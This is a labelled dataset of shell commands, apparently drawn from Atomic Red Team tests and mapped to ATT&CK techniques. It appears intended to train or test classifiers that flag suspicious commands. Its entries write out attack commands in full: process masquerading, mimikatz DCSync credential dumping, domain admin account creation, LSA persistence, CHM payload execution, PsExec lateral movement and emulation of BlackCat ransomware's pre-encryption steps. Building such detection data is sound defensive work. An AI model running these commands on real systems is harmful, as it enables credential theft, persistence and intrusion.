cowWhySo/permission-command-corpus huggingface dataset:
Command: del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1 del "#{cab_path}" >nul 2>&1 rmdir "#{output_dir}" /s /q >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Expand CAB with expand.exe
Notes: Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
Command: copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe %SystemRoot%\Temp\lsass.exe /B
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading as Windows LSASS process
Notes: Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
Command: del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading as Windows LSASS process
Notes: Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
Command: cp /bin/sh /tmp/crond; echo 'sleep 5' | /tmp/crond
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: linux
ATT&CK tags: T1036.003
Source rule: Masquerading as FreeBSD or Linux crond process.
Notes: Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

Upon successful execution, sh is renamed to `crond` and executed.
Command: rm /tmp/crond
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: linux
ATT&CK tags: T1036.003
Source rule: Masquerading as FreeBSD or Linux crond process.
Notes: Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

Upon successful execution, sh is renamed to `crond` and executed.
Command: copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y cmd.exe /c %APPDATA%\notepad.exe /B
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - cscript.exe running as notepad.exe
Notes: Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
Command: del /Q /F %APPDATA%\notepad.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - cscript.exe running as notepad.exe
Notes: Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
Command: copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y cmd.exe /c %APPDATA%\svchost.exe "PathToAtomicsFolder\..\ExternalPayloads\T1036.003\src\T1036.003_masquerading.vbs"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - wscript.exe running as svchost.exe
Notes: Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
Command: del /Q /F %APPDATA%\svchost.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - wscript.exe running as svchost.exe
Notes: Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
Command: copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y cmd.exe /K %APPDATA%\taskhostw.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - powershell.exe running as taskhostw.exe
Notes: Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
Command: del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - powershell.exe running as taskhostw.exe
Notes: Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
Command: copy "#{inputfile}" #{outputfile} try { $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id } catch { $_; exit $_.Exception.HResult} Stop-Process -ID $myT1036_003
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - non-windows exe running as windows exe
Notes: Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
Command: Remove-Item #{outputfile} -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - non-windows exe running as windows exe
Notes: Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
Command: copy "#{inputfile}" #{outputfile} $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id Stop-Process -ID $myT1036_003
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Masquerading - windows exe running as different windows exe
Notes: Copies a windows exe, renames it as another windows exe, and launches it to masquerade as second windows exe
Command: copy C:\Windows\System32\cmd.exe C:\lsm.exe C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Malicious process Masquerading as LSM.exe
Notes: Detect LSM running from an incorrect directory and an incorrect service account
This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
Command: del C:\T1036.003.txt >nul 2>&1 del C:\lsm.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1036.003
Platform: windows
ATT&CK tags: T1036.003
Source rule: Malicious process Masquerading as LSM.exe
Notes: Detect LSM running from an incorrect directory and an incorrect service account
This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
Command: $extList = #{extension_id} foreach ($extension in $extList) { New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force} Start chrome Start-Sleep -Seconds 30 Stop-Process -Name "chrome"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1133
Platform: windows
ATT&CK tags: T1133
Source rule: Running Chrome VPN Extensions via the Registry 2 vpn extension
Notes: Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list
Command: $extList = #{extension_id} foreach ($extension in $extList) { Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1133
Platform: windows
ATT&CK tags: T1133
Source rule: Running Chrome VPN Extensions via the Registry 2 vpn extension
Notes: Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list
Command: hh.exe "#{local_chm_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Compiled HTML Help Local Payload
Notes: Uses hh.exe to execute a local compiled HTML Help payload.
Upon execution calc.exe will open
Command: hh.exe #{remote_chm_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Compiled HTML Help Remote Payload
Notes: Uses hh.exe to execute a remote compiled HTML Help payload.
Upon execution displays an error saying the file cannot be open
Command: Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Invoke CHM with default Shortcut Command Execution
Notes: Executes a CHM file with the default Shortcut Command method.
Command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Invoke CHM with InfoTech Storage Protocol Handler
Notes: Executes a CHM file with the ITS protocol handler.
Command: Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Invoke CHM Simulate Double click
Notes: Executes a CHM file simulating a user double click.
Command: Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Invoke CHM with Script Engine and Help Topic
Notes: Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.
Command: Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Invoke CHM Shortcut Command with ITS and Help Topic
Notes: Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.
Command: hh.exe -decompile %temp% "#{local_chm_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Decompile Local CHM File
Notes: Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
Command: del %temp%\T1218.001.html >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.001
Platform: windows
ATT&CK tags: T1218.001
Source rule: Decompile Local CHM File
Notes: Uses hh.exe to decompile a local compiled HTML Help file.
Upon successful execution the chm file will decompile to disk.
Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
Command: #{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}" "exit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.006
Platform: windows
ATT&CK tags: T1003.006
Source rule: DCSync (Active Directory)
Notes: Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.
Works against a remote Windows Domain Controller using the replication protocol.
Privileges required: domain admin or domain controller account (by default), or any other account with required rights.
[Reference](https://adsecurity.org/?p=1729)
Command: Get-ADReplAccount -All -Server #{logonserver}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.006
Platform: windows
ATT&CK tags: T1003.006
Source rule: Run DSInternals Get-ADReplAccount
Notes: The following Atomic will run Get-ADReplAccount from DSInternals.
Upon successful execution, domain and credentials will appear in stdout. 
[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.
https://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/
Command: net user "#{username}" "#{password}" /add /domain net group "#{group}" "#{username}" /add /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: windows
ATT&CK tags: T1136.002
Source rule: Create a new Windows domain admin user
Notes: Creates a new domain admin user in a command prompt.
Command: net user "#{username}" >nul 2>&1 /del /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: windows
ATT&CK tags: T1136.002
Source rule: Create a new Windows domain admin user
Notes: Creates a new domain admin user in a command prompt.
Command: net user "#{username}" "#{password}" /add /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: windows
ATT&CK tags: T1136.002
Source rule: Create a new account similar to ANONYMOUS LOGON
Notes: Create a new account similar to ANONYMOUS LOGON in a command prompt.
Command: cmd /c "net user #{username} /del >nul 2>&1"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: windows
ATT&CK tags: T1136.002
Source rule: Create a new Domain Account using PowerShell
Notes: Creates a new Domain User using the credentials of the Current User
Command: echo removing Atomic User (temporary user) echo "dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\nchangetype: delete" > deleteuser.ldif ldapmodify -H ldap://#{domain_controller}:389 -x -D #{admin_user} -w #{admin_password} -f deleteuser.ldif rm deleteuser.ldif rm tempadmin.ldif
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: linux
ATT&CK tags: T1136.002
Source rule: Active Directory Create Admin Account
Notes: Use Admin Credentials to Create A Domain Admin Account
Command: echo "dn: cn=Atomic User, cn=Users,dc=#{domain},dc=#{top_level_domain}\nobjectClass: person\ncn: Atomic User\nsn: User" > tempadmin.ldif echo ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.002
Platform: linux
ATT&CK tags: T1136.002
Source rule: Active Directory Create User Account (Non-elevated)
Notes: Use Admin Credentials to Create A Normal Account (as means of entry)
Command: Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.002
Platform: windows
ATT&CK tags: T1547.002
Source rule: Authentication Package
Notes: Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
Command: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f rm -force C:\windows\system32\package.dll
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.002
Platform: windows
ATT&CK tags: T1547.002
Source rule: Authentication Package
Notes: Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
After a reboot, Notepad.exe will be executed as child process of lsass.exe.
Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
Command: Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.002
Platform: windows
ATT&CK tags: T1055.002
Source rule: Portable Executable Injection
Notes: This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.
Command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.002
Platform: windows
ATT&CK tags: T1055.002
Source rule: Portable Executable Injection
Notes: This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.
Command: systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.006
Platform: linux
ATT&CK tags: T1053.006
Source rule: Create Systemd Service and Timer
Notes: This test creates Systemd service and timer then starts and enables the Systemd timer
Command: systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.006
Platform: linux
ATT&CK tags: T1053.006
Source rule: Create a user level transient systemd service and timer
Notes: Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
Command: systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.006
Platform: linux
ATT&CK tags: T1053.006
Source rule: Create a user level transient systemd service and timer
Notes: Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
Command: systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.006
Platform: linux
ATT&CK tags: T1053.006
Source rule: Create a system level transient systemd service and timer
Notes: Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
Command: systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.006
Platform: linux
ATT&CK tags: T1053.006
Source rule: Create a system level transient systemd service and timer
Notes: Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command.
Command: sc.exe create #{service_name} binPath= "#{executable_command}" sc.exe start #{service_name} sc.exe delete #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Execute a Command as a Service
Notes: Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cyberea
Command: del C:\art-marker.txt >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Execute a Command as a Service
Notes: Creates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file `art-marker.txt`

[BlackCat Ransomware (ALPHV)](https://www.varonis.com/blog/blackcat-ransomware)  
[Cybereason vs. BlackCat Ransomware](https://www.cybereason.com/blog/cyberea
Command: "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{remote_host} -i -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: Use PsExec to execute a command on a remote host
Notes: Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments
Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).
Command: psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: linux
ATT&CK tags: T1569.002
Source rule: psexec.py (Impacket)
Notes: Will execute a command on the remote host with Impacket psexec.py script.
Command: cmd.exe /c "wmic csproduct get UUID" cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1" cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1" reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp cmd.exe /c "$env:temp\psexec.exe -accepteula \\#{targethost} cmd.exe /c echo "--access-token""
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1569.002
Platform: windows
ATT&CK tags: T1569.002
Source rule: BlackCat pre-encryption cmds with Lateral Movement
Notes: This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat